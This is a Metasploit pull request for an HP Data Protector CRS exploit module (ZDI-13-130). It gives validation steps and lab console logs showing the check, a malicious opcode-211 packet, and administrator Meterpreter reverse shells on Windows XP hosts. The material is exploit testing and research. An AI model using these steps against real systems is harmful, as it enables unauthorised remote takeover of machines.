rapid7/metasploit-framework — pull request #2501 by jvazquez-r7 (2013-10-10 15:09:04+00:00)
Title: Add module for ZDI-13-130

Obviously I'm sucking at bypassing security protections. Here the combination of stack cookies and DEP is stopping me to write it for Win 2003 SP2. The only interesting gadgets I'm finding to stack pivot are on rebased modules on openssl libs :\

If anyone would like to give a chance and is successful of making it work on Win2003SP2 would be super awesome. Also I wouldn't be hurt if it's moved to unstable because of the lack of Win2003SP2 targets.

**Validation**

- [ ] Install Win XPSP3 English
- [ ] Install HP Data Protector 6.20 build 370 or 7.00 build 72 / 7.00 version can be found here: http://www8.hp.com/us/en/software-solutions/software.html?compURI=1175640#.UlYsTWRASaJ
- [ ] Run the msfconsole and select the exploit
- [ ] Run the check and exploit methods. Check should provide accurate information. Exploit method should give you a shell.

**Test Results**

* Check

```
msf exploit(hp_dataprotector_crs) > set rhost 192.168.172.244
rhost => 192.168.172.244
msf exploit(hp_dataprotector_crs) > check

[*] CRS running on port 1087/TCP, HP Data Protector version HP Data Protector A.06.20: INET, internal build 370, built on Friday, February 25, 2011, 6:41 PM
[+] The target is vulnerable.

msf exploit(hp_dataprotector_crs) > set rhost 192.168.172.135
rhost => 192.168.172.135
msf exploit(hp_dataprotector_crs) > check

[*] CRS running on port 1027/TCP, HP Data Protector version HP Data Protector A.07.00: INET, internal build 72, built on Wednesday, March 14, 2012, 7:12 PM
[+] The target is vulnerable.

```

* Automatic => 6.20 target

```
msf exploit(hp_dataprotector_crs) > set rhost 192.168.172.244
rhost => 192.168.172.244
msf exploit(hp_dataprotector_crs) > show targets

Exploit targets:

Id Name
-- ----
0 Automatic
1 HP Data Protector 6.20 build 370 / Windows XP SP3
2 HP Data Protector 7.00 build 72 / Windows XP SP3

msf exploit(hp_dataprotector_crs) > set target 0
target => 0
msf exploit(hp_dataprotector_crs) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Trying to find the target version...
[*] Trying to find the CRS service port...
[+] CRS service found on 1087/TCP
[*] Sending packet with opcode 0...
[*] Sending packet with opcode 225...
[*] Sending malicious packet with opcode 211...
[*] Sending stage (770048 bytes) to 192.168.172.244
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.244:1088) at 2013-10-10 09:56:36 -0500

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.244 - Meterpreter session 1 closed. Reason: User exit

```

* Automatic => 7.00 target

```
msf exploit(hp_dataprotector_crs) > set rhost 192.168.172.135
rhost => 192.168.172.135
msf exploit(hp_dataprotector_crs) > show targets

Exploit targets:

Id Name
-- ----
0 Automatic
1 HP Data Protector 6.20 build 370 / Windows XP SP3
2 HP Data Protector 7.00 build 72 / Windows XP SP3

msf exploit(hp_dataprotector_crs) > set target 0
target => 0
msf exploit(hp_dataprotector_crs) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Trying to find the target version...
[*] Trying to find the CRS service port...
[+] CRS service found on 1041/TCP
[*] Sending packet with opcode 0...
[*] Sending packet with opcode 225...
[*] Sending malicious packet with opcode 211...
[*] Sending stage (770048 bytes) to 192.168.172.135
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.135:1042) at 2013-10-10 09:59:01 -0500

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.135 - Meterpreter session 2 closed. Reason: User exit

```

* Manual 6.20 target

```
msf exploit(hp_dataprotector_crs) > set rhost 192.168.172.244
rhost => 192.168.172.244
msf exploit(hp_dataprotector_crs) > check

[*] CRS running on port 1097/TCP, HP Data Protector version HP Data Protector A.06.20: INET, internal build 370, built on Friday, February 25, 2011, 6:41 PM
[+] The target is vulnerable.
msf exploit(hp_dataprotector_crs) > show targets

Exploit targets:

Id Name
-- ----
0 Automatic
1 HP Data Protector 6.20 build 370 / Windows XP SP3
2 HP Data Protector 7.00 build 72 / Windows XP SP3

msf exploit(hp_dataprotector_crs) > set target 1
target => 1
msf exploit(hp_dataprotector_crs) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Trying to find the CRS service port...
[+] CRS service found on 1097/TCP
[*] Sending packet with opcode 0...
[*] Sending packet with opcode 225...
[*] Sending malicious packet with opcode 211...
[*] Sending stage (770048 bytes) to 192.168.172.244
[*] Meterpreter session 3 opened (192.168.172.1:4444 -> 192.168.172.244:1098) at 2013-10-10 10:00:07 -0500

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
eComputer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.244 - Meterpreter session 3 closed. Reason: User exit
msf exploit(hp_dataprotector_crs) >

```

* Manual 7.00 target

```
msf exploit(hp_dataprotector_crs) > set rhost 192.168.172.135
rhost => 192.168.172.135
msf exploit(hp_dataprotector_crs) > check

[*] CRS running on port 1052/TCP, HP Data Protector version HP Data Protector A.07.00: INET, internal build 72, built on Wednesday, March 14, 2012, 7:12 PM
[+] The target is vulnerable.
msf exploit(hp_dataprotector_crs) > show targets

Exploit targets:

Id Name
-- ----
0 Automatic
1 HP Data Protector 6.20 build 370 / Windows XP SP3
2 HP Data Protector 7.00 build 72 / Windows XP SP3

msf exploit(hp_dataprotector_crs) > set target 2
target => 2
msf exploit(hp_dataprotector_crs) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Trying to find the CRS service port...
[+] CRS service found on 1052/TCP
[*] Sending packet with opcode 0...
[*] Sending packet with opcode 225...
[*] Sending malicious packet with opcode 211...
[*] Sending stage (770048 bytes) to 192.168.172.135
[*] Meterpreter session 4 opened (192.168.172.1:4444 -> 192.168.172.135:1053) at 2013-10-10 10:01:05 -0500

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
eComputer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.135 - Meterpreter session 4 closed. Reason: User exit

```